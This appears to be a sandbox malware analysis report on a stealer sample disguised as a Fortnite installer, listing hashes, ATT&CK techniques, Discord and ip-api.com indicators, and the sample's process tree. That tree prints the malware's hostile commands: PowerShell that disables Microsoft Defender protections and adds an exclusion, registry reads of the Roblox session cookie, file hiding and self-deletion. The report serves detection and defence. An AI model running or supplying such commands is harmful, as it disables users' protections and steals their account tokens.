umbral | 545757791f0b6759a9da98687651c1ad9f32f86d8f3e7f5d163d2ebba8f4bc3e

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-03-2024 10:53

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General

Target

fortnite installer.exe
Size

230KB
MD5

289b67e48da10ab68939056c3cd8bb2b
SHA1

2b4665f3f61098c4ceec9208a01e75ac7e4b1d3d
SHA256

545757791f0b6759a9da98687651c1ad9f32f86d8f3e7f5d163d2ebba8f4bc3e
SHA512

c2c63302ebfc08c2be9e56174c2adc0b78a155d8d4954fc96532e37c459477cf896f3ab1ff60df181cd541c6cefffcd67f707ef07bde8b1474b6c3131034ff5c
SSDEEP

6144:dloZM9rIkd8g+EtXHkv/iD4otP77Byal4gRj++7okb8e1mCi:/oZOL+EP8otP77Byal4gRj++7x4

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3012-0-0x0000000001000000-0x0000000001040000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	fortnite installer.exe

Deletes itself 1 IoCs

pid	Process
2104	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1968	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2628	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2708	powershell.exe
2592	powershell.exe
1940	powershell.exe
964	powershell.exe
1456	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	fortnite installer.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1208	wmic.exe
Token: SeSecurityPrivilege	1208	wmic.exe
Token: SeTakeOwnershipPrivilege	1208	wmic.exe
Token: SeLoadDriverPrivilege	1208	wmic.exe
Token: SeSystemProfilePrivilege	1208	wmic.exe
Token: SeSystemtimePrivilege	1208	wmic.exe
Token: SeProfSingleProcessPrivilege	1208	wmic.exe
Token: SeIncBasePriorityPrivilege	1208	wmic.exe
Token: SeCreatePagefilePrivilege	1208	wmic.exe
Token: SeBackupPrivilege	1208	wmic.exe
Token: SeRestorePrivilege	1208	wmic.exe
Token: SeShutdownPrivilege	1208	wmic.exe
Token: SeDebugPrivilege	1208	wmic.exe
Token: SeSystemEnvironmentPrivilege	1208	wmic.exe
Token: SeRemoteShutdownPrivilege	1208	wmic.exe
Token: SeUndockPrivilege	1208	wmic.exe
Token: SeManageVolumePrivilege	1208	wmic.exe
Token: 33	1208	wmic.exe
Token: 34	1208	wmic.exe
Token: 35	1208	wmic.exe
Token: SeIncreaseQuotaPrivilege	1208	wmic.exe
Token: SeSecurityPrivilege	1208	wmic.exe
Token: SeTakeOwnershipPrivilege	1208	wmic.exe
Token: SeLoadDriverPrivilege	1208	wmic.exe
Token: SeSystemProfilePrivilege	1208	wmic.exe
Token: SeSystemtimePrivilege	1208	wmic.exe
Token: SeProfSingleProcessPrivilege	1208	wmic.exe
Token: SeIncBasePriorityPrivilege	1208	wmic.exe
Token: SeCreatePagefilePrivilege	1208	wmic.exe
Token: SeBackupPrivilege	1208	wmic.exe
Token: SeRestorePrivilege	1208	wmic.exe
Token: SeShutdownPrivilege	1208	wmic.exe
Token: SeDebugPrivilege	1208	wmic.exe
Token: SeSystemEnvironmentPrivilege	1208	wmic.exe
Token: SeRemoteShutdownPrivilege	1208	wmic.exe
Token: SeUndockPrivilege	1208	wmic.exe
Token: SeManageVolumePrivilege	1208	wmic.exe
Token: 33	1208	wmic.exe
Token: 34	1208	wmic.exe
Token: 35	1208	wmic.exe
Token: SeIncreaseQuotaPrivilege	1044	wmic.exe
Token: SeSecurityPrivilege	1044	wmic.exe
Token: SeTakeOwnershipPrivilege	1044	wmic.exe
Token: SeLoadDriverPrivilege	1044	wmic.exe
Token: SeSystemProfilePrivilege	1044	wmic.exe
Token: SeSystemtimePrivilege	1044	wmic.exe
Token: SeProfSingleProcessPrivilege	1044	wmic.exe
Token: SeIncBasePriorityPrivilege	1044	wmic.exe
Token: SeCreatePagefilePrivilege	1044	wmic.exe
Token: SeBackupPrivilege	1044	wmic.exe
Token: SeRestorePrivilege	1044	wmic.exe
Token: SeShutdownPrivilege	1044	wmic.exe
Token: SeDebugPrivilege	1044	wmic.exe
Token: SeSystemEnvironmentPrivilege	1044	wmic.exe
Token: SeRemoteShutdownPrivilege	1044	wmic.exe
Token: SeUndockPrivilege	1044	wmic.exe
Token: SeManageVolumePrivilege	1044	wmic.exe
Token: 33	1044	wmic.exe
Token: 34	1044	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 2704	3012	fortnite installer.exe	28
PID 3012 wrote to memory of 2704	3012	fortnite installer.exe	28
PID 3012 wrote to memory of 2704	3012	fortnite installer.exe	28
PID 3012 wrote to memory of 2708	3012	fortnite installer.exe	30
PID 3012 wrote to memory of 2708	3012	fortnite installer.exe	30
PID 3012 wrote to memory of 2708	3012	fortnite installer.exe	30
PID 3012 wrote to memory of 2592	3012	fortnite installer.exe	32
PID 3012 wrote to memory of 2592	3012	fortnite installer.exe	32
PID 3012 wrote to memory of 2592	3012	fortnite installer.exe	32
PID 3012 wrote to memory of 1940	3012	fortnite installer.exe	34
PID 3012 wrote to memory of 1940	3012	fortnite installer.exe	34
PID 3012 wrote to memory of 1940	3012	fortnite installer.exe	34
PID 3012 wrote to memory of 964	3012	fortnite installer.exe	36
PID 3012 wrote to memory of 964	3012	fortnite installer.exe	36
PID 3012 wrote to memory of 964	3012	fortnite installer.exe	36
PID 3012 wrote to memory of 1208	3012	fortnite installer.exe	38
PID 3012 wrote to memory of 1208	3012	fortnite installer.exe	38
PID 3012 wrote to memory of 1208	3012	fortnite installer.exe	38
PID 3012 wrote to memory of 1044	3012	fortnite installer.exe	41
PID 3012 wrote to memory of 1044	3012	fortnite installer.exe	41
PID 3012 wrote to memory of 1044	3012	fortnite installer.exe	41
PID 3012 wrote to memory of 2488	3012	fortnite installer.exe	43
PID 3012 wrote to memory of 2488	3012	fortnite installer.exe	43
PID 3012 wrote to memory of 2488	3012	fortnite installer.exe	43
PID 3012 wrote to memory of 1456	3012	fortnite installer.exe	45
PID 3012 wrote to memory of 1456	3012	fortnite installer.exe	45
PID 3012 wrote to memory of 1456	3012	fortnite installer.exe	45
PID 3012 wrote to memory of 1968	3012	fortnite installer.exe	47
PID 3012 wrote to memory of 1968	3012	fortnite installer.exe	47
PID 3012 wrote to memory of 1968	3012	fortnite installer.exe	47
PID 3012 wrote to memory of 2104	3012	fortnite installer.exe	49
PID 3012 wrote to memory of 2104	3012	fortnite installer.exe	49
PID 3012 wrote to memory of 2104	3012	fortnite installer.exe	49
PID 2104 wrote to memory of 2628	2104	cmd.exe	51
PID 2104 wrote to memory of 2628	2104	cmd.exe	51
PID 2104 wrote to memory of 2628	2104	cmd.exe	51

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2704	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe"
  2⤵
  - Views/modifies file attributes
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:964
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1968
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1092e34def03d3489d009a5cf3daa178

SHA1
e7e1f63f8a1814aa86f2e2df5c2e21fce0eb0ec3

SHA256
f8cb838ef09b89dbd7c5c18a51440e2cb8c39719e95d1fc6d8be9a9eba203353

SHA512
3afc781869991d3ab20c257586e6be57ec5748e20116b5c9491ffcef306f1fa2ce24f12a3556675fef36b5ccdb1868b32b3738bc11b1fe3b5dadc3119df45b1c

Download Submit
memory/964-59-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/964-57-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/964-58-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/964-60-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/964-61-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/964-62-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/1456-76-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/1456-75-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/1456-74-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1456-73-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/1456-72-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1456-71-0x0000000001FA0000-0x0000000001FA8000-memory.dmp

Filesize
32KB

Download
memory/1456-77-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1940-45-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1940-47-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/1940-43-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1940-44-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/1940-48-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/1940-46-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/2592-27-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2592-23-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2592-22-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-26-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2592-29-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-28-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2592-24-0x000007FEECFA0000-0x000007FEED93D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-20-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2592-25-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2592-21-0x00000000024B0000-0x00000000024B8000-memory.dmp

Filesize
32KB

Download
memory/2708-10-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-11-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2708-7-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-9-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2708-12-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2708-8-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-13-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2708-14-0x000007FEED940000-0x000007FEEE2DD000-memory.dmp

Filesize
9.6MB

Download
memory/3012-2-0x000000001B280000-0x000000001B300000-memory.dmp

Filesize
512KB

Download
memory/3012-51-0x000007FEF57B0000-0x000007FEF619C000-memory.dmp

Filesize
9.9MB

Download
memory/3012-56-0x000000001B280000-0x000000001B300000-memory.dmp

Filesize
512KB

Download
memory/3012-1-0x000007FEF57B0000-0x000007FEF619C000-memory.dmp

Filesize
9.9MB

Download
memory/3012-0-0x0000000001000000-0x0000000001040000-memory.dmp

Filesize
256KB

Download
memory/3012-81-0x000007FEF57B0000-0x000007FEF619C000-memory.dmp

Filesize
9.9MB

Download